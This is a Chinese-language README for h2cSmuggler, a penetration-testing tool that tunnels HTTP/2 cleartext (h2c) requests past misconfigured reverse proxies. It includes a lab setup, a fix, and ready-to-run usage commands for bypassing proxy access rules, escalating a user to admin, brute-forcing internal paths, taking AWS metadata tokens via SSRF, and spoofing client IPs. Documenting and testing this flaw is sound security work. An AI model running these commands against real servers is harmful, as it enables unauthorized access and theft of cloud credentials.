h2cSmuggler 通过建立与支持 h2c 的后端服务器的 HTTP/2 明文(h2c)通信,将 HTTP 流量偷偷绕过不安全的边缘服务器 proxy_pass 配置,从而允许绕过代理规则和访问控制。
请参阅下面详细的技术文章,了解:
此处:https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c
任何转发 h2c 升级头的代理端点都可能受到影响。由于 h2c 旨在仅在明文通道上执行,因此在 HTTPS 服务上进行检测通常会产生真实阳性结果。
相比之下,HTTP 服务可能会导致误报。例如,支持 h2c 的代理可能本身响应升级,而不是将其转发给 h2c 后端。
使用 --scan-list 选项测试一个或多个 Web 服务器,查找受影响的 proxy_pass 端点。考虑使用目录枚举发现的目录列表,例如:
urls.txt
https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...省略以节省篇幅...
使用端点列表和线程总数运行 h2cSmuggler:
./h2csmuggler.py --scan-list urls.txt --threads 5
或者,可以通过以下命令执行单个测试:
./h2csmuggler.py -x https://www.example.com/api/ --test
一旦你找到了可用于隧道的受影响端点,你现在可以访问或暴力破解后端服务器上的内部端点,并提供自定义动词或头。在下面的演示中,我们演示了通过使用 h2c 走私绕过代理拒绝规则来访问内部的 /flag 端点。
为了修复,请不要转发用户提供的 Upgrade 或 Connection 头值。请参阅技术文章获得更多指导。
唯一的依赖是 Python 的 hyper-h2 库:
pip3 install h2
测试环境将允许你在受控环境中尝试 h2cSmuggler。docker-compose 将模拟三个代理链,这些链指向一个支持 h2c 的 Go 后端:
TCP 端口: 描述
======== ===========
8000: HTTP h2c 后端
8001: HAProxy -> h2c 后端(不安全的默认配置)
8002: nginx -> h2c 后端(不安全的自定义配置)
8003: Nuster -> HAProxy -> h2c 后端(多层代理的不安全配置)
[1] 生成证书并使用 docker-compose 启动环境:
# 生成证书
./configs/generate-certificates.sh
# 启动服务
docker-compose up
所有代理都拒绝访问 h2c 后端上的 /flag 端点。让我们尝试通过运行在 8001 端口上的 HAProxy 服务器访问被禁止的端点:
我们可以使用 h2cSmuggler 通过 --test(或 -t)来确认代理的不安全配置:
现在,让我们使用 h2cSmuggler 执行 h2c 升级,通过代理隧道传输我们的 HTTP/2 流量,并从后端请求 /flag 端点,从而绕过代理的访问控制:
更深入的解释,请查看技术文章。
h2cSmuggler 使用类似 curl 的语法来描述走私请求:
usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
[url]
检测并利用不安全的 h2c 升级转发。
位置参数:
url
可选参数:
-h, --help 显示此帮助信息并退出
--scan-list SCAN_LIST 用于扫描的 URL 列表
--threads THREADS 线程数(与 --scan-list 一起使用)
--upgrade-only 从传出 Connection 头中删除 HTTP2-Settings
-x PROXY, --proxy PROXY
要尝试绕过的代理服务器
-i WORDLIST, --wordlist WORDLIST
要暴力破解的路径列表
-X REQUEST, --request REQUEST
走私的动词
-d DATA, --data DATA 走私的数据
-H HEADER, --header HEADER
走私的头
-m MAX_TIME, --max-time MAX_TIME
套接字超时(秒)(类型:浮点数;默认 10)
-t, --test 测试单个代理服务器
-v, --verbose 详细输出
1. 扫描 URL 列表(例如,https://example.com:443/api/,https://example.com:443/payments,https://sub.example.com:443/)以识别容易受走私攻击的 proxy_pass 端点(测试单个服务器时注意线程数):
./h2csmuggler.py --scan-list urls.txt --threads 5
或者,将输出重定向到文件。使用 stderr(2>)和 stdout(1>)。stderr 流包含错误(例如 SSL 握手/超时问题),而 stdout 包含结果。
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
2. 将走私的 POST 请求发送到内部端点,绕过 https://edgeserver:
./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
3. 暴力破解内部端点(使用 HTTP/2 多路复用),其中 dirs.txt 表示路径列表(例如,/api/,/admin/):
./h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
4. 利用 Host 头通过 h2c 走私实现 SSRF(例如,AWS 元数据 IMDSv2):
获取令牌:
./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`
传输令牌:
./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
5. 使用 X-Forwarded-For 头伪造 IP 地址以访问内部仪表板:
./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard
问:为什么服务器会返回多个响应?
答:第一个响应是原始 HTTP/1.1 升级请求的数据响应,根据 h2c 升级协议。后续的响应来自走私的请求。
问:我收到了“101 Switching Protocols”,但没有从远程服务器收到任何数据。
答:我在测试中观察到这种行为,发现有些服务器即使实际上不支持 HTTP/2,也会返回 101 状态。
问:建立 h2c 隧道总是漏洞吗?
答:不。考虑一个 TLS 终止的 TCP 负载均衡器(例如 ELB)直接代理到支持 h2c 的后端。虽然你可能能够建立 h2c 连接,但如果没有任何访问控制在被执行,那么就没有访问控制可绕过,也没有通过启动此隧道获得的权限提升。
问:为什么走私的请求 URI 需要 scheme?它有什么用?
答:HTTP/2 协议需要一个 :scheme 伪头。对于我们的用例,http 与 https 可能无关紧要。更多细节,请参阅 HTTP/2 RFC:第 8.1.2.3 节。
问:我应该使用什么作为后端服务器的主机名?
答:最好从与边缘服务器相同的主机名开始。接下来,尝试使用其他主机名值进行实验。
Twitter:@theBumbleSec
GitHub:the-bumble